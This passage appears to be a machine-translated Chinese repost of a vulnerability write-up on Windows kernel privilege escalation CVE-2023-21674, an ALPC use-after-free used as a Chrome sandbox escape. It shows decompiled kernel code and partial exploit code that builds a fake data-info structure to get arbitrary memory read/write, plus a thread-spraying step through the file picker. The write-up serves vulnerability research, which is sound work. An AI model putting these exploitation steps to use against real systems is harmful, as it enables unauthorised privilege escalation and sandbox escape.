process = (_EPROCESS *)waiting_thread->Tcb.Process;
ObfReferenceObjectWithTag(process, 0x63706C41u); // Reference
AlpcpUnlockMessage((ULONG_PTR)alpc_message);
v14 = PsOpenProcess(&v26, acess_mask, &v30, (__int128 *)((char *)&Source2 + 8), 0, prev_mode);
ObfDereferenceObjectWithTag(process, 0x63706C41u); // Dereference
...
}
// NtAlpcQueryInformationMessage --> AlpcpQueryTokenModifiedIdMessage -> AlpcpGetEffectiveTokenMessage
__int64 __fastcall AlpcpGetEffectiveTokenMessage(_ALPC_PORT *port_obj, _KALPC_MESSAGE *alpc_message, _QWORD *a3, __int64 a4, _BYTE *a5)
{
...
// Check Port == Server, Message Owner == Client
// 2 ==> Server, 4 ==> Client
owner_port = alpc_message->OwnerPort;
if ( (port_obj->u1.State & 6) != 2 || !owner_port || (owner_port->u1.State & 6) != 4 )
return 0xC0000022i64;
...
// Reference WaitingThread
waiting_thread = alpc_message->WaitingThread;
if ( !waiting_thread )
return 0xC0000022i64;
// Do Something with WaitingThread
result = SeCreateClientSecurityEx(waiting_thread, (__int64)&owner_port->PortAttributes.SecurityQos, 0, a4);
}
但是,它们 NtAlpcOpenSenderProcess
都不是很好的利用对象, NtAlpcOpenSenderThread
因为两者都只是引用和取消引用悬空指针指向的内存区域。此外,还需要一个服务器和客户端连接, AlpcpGetEffectiveTokenMessage
由于其不受信任的完整性,该连接在Chrome渲染器进程中不可用。
因此,我们专注于 LpcpCopyRequestData
功能,如下所示。
// Called by NtWriteRequestData and NtReadRequestData
NTSTATUS __fastcall LpcpCopyRequestData(
char is_read,
HANDLE hPort,
PORT_MESSAGE *a3,
__int64 dataidx,
char *Address,
SIZE_T Length,
__int64 *a7)
{
...
result = AlpcpLookupMessage(alpc_port, a2a.MessageId, a2a.CallbackId, dataidx, &alpc_message);
if ( result < 0 ) { /* ERROR */ }
waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread )
{
result = 0xC000000D;
v17 = alpc_message;
datainfooffset = alpc_message->PortMessage.u2.s2.DataInfoOffset;
// if the datainfoOffset is set
if ( (_WORD)datainfooffset )
{
/**
Validating the length
.. Omitted ..
**/
// check datainfo->NumberOfEntries > dataindex
datainfo = (PLPCP_DATA_INFO)((char*)alpc_message + datainfooffset);
if ( datainfo->NumberOfEntries > (unsigned int)dataidx )
{
// [11]. datainfo will be retreived from meeesage
*(_OWORD *)datainfo = *(_OWORD *)&datainfo->Entries[dataidx];
result = datainfo->DataLength < Length ? 0xC000000D : 0;
}
}
if ( result >= 0 )
{
CurrentThread = KeGetCurrentThread();
// [12]. from and to address can be controlled from waiting_thread.
if ( is_read )
{
fromproc = (_EPROCESS *)CurrentThread->ApcState.Process;
toaddr = datainfo[0];
toproc = (_EPROCESS *)waiting_thread->Tcb.Process;
fromaddr = Address;
}
else
{
toproc = (_EPROCESS *)CurrentThread->ApcState.Process;
toaddr = Address;
fromaddr = datainfo[0];
fromproc = (_EPROCESS *)waiting_thread->Tcb.Process;
}
// [13]. Copy data `fromaddr` in `fromproc` to `toaddr` of `toproc`
v15 = MmCopyVirtualMemory(fromproc, fromaddr, toproc, toaddr, Length, prev_mode, (__int64)&retsize);
...
}
如果 DataInfoOffset
设置了 ALPC 消息,则从消息 ( [11]
) 中检索由 LPCP_DATA_INFO
structure 表示的数据信息对象。
typedef struct _LPCP_DATA_INFO
{
ULONG NumberOfEntries;
struct
{
PVOID BaseAddress;
ULONG DataLength;
} Entries[1];
} LPCP_DATA_INFO, *PLPCP_DATA_INFO;
我们可以轻松地在消息中设置一个 LPCP_DATA_INFO
结构,如下所示。
void SetupDataInfo(ULONG_PTR addr) {
...
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
pmSend.u1.s1.DataLength = MSG_LEN;
pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
pmSend.MessageId = messageid;
pmSend.CallbackId = callbackid;
pmSend.u2.s2.DataInfoOffset = 0x30;
lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)longstr);
PLPCP_DATA_INFO datainfo = (PLPCP_DATA_INFO)((ULONG_PTR)lpMem + pmSend.u2.s2.DataInfoOffset);
datainfo->NumberOfEntries = NumOfEntries; // CNT
for (int i = 0; i < NumOfEntries; i++) {
datainfo->Entries[i].BaseAddress = (PVOID)addrs[i]; // Address
datainfo->Entries[i].DataLength = (ULONG)0x1000; // Size
}
pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
pwfdw->AlpcSendMessagePort = hPort;
pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
pwfdw->Flags = 0x1;
ULONG outlen = 0;
NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);
}
最后,结构中的 LPCP_DATA_INFO
地址通过 MmCopyVirtualMemory
( [13]
) 进行读/写。由于目标进程地址是从中获取的, waiting_thread
因此我们可以将其设置为任意值。
但是,在没有其他信息泄露漏洞的情况下构建虚假 _EPROCESS
结构并不容易。因此,与其使用假 _EPROCESS
的,不如使用高特权进程的线程。如果将高权限进程的线程分配到悬空指针指向的同一内存区域中,我们可以在进程中实现任意读/写基元。
为了喷洒高特权进程的线程,我们使用了 showOpenFilePicker();调用 API 时,Chrome 会以中等完整性创建一个新进程。此外,文件选取器进程在创建时会生成许多线程,这使得它适合被利用。
通过在文件选取器进程上使用任意读/写基元,我们最终可以在中等完整性下执行任意代码。
结论
这篇文章提供了对 CVE-2023–21674 的分析,该分析在我们为期 N-day的全链演示中被利用。下一篇文章将介绍 Windows LPE,CVE-2023–29360,它在 Pwn2Own Vancouver 2023 中被利用。
参考
-
https://github.com/hd3s5aa/CVE-2023-21674
-
https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html
-
https://recon.cx/2008/a/thomas_garnier/LPC-ALPC-paper.pdf
-
https://github.com/DownWithUp/ALPC-Example
-
https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-21674
Chaining N-days to Compromise All: Part 2 — Windows Kernel LPE (a.k.a Chrome Sandbox Escape)
https://blog.theori.io/chaining-n-days-to-compromise-all-part-2-windows-kernel-lpe-a-k-a-chrome-sandbox-escape-44cb49d7a4f8
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):将 N-day 漏洞链接到妥协所有内容:第 2 部分 — Windows 内核 LPE(又名 Chrome 沙盒 Escape)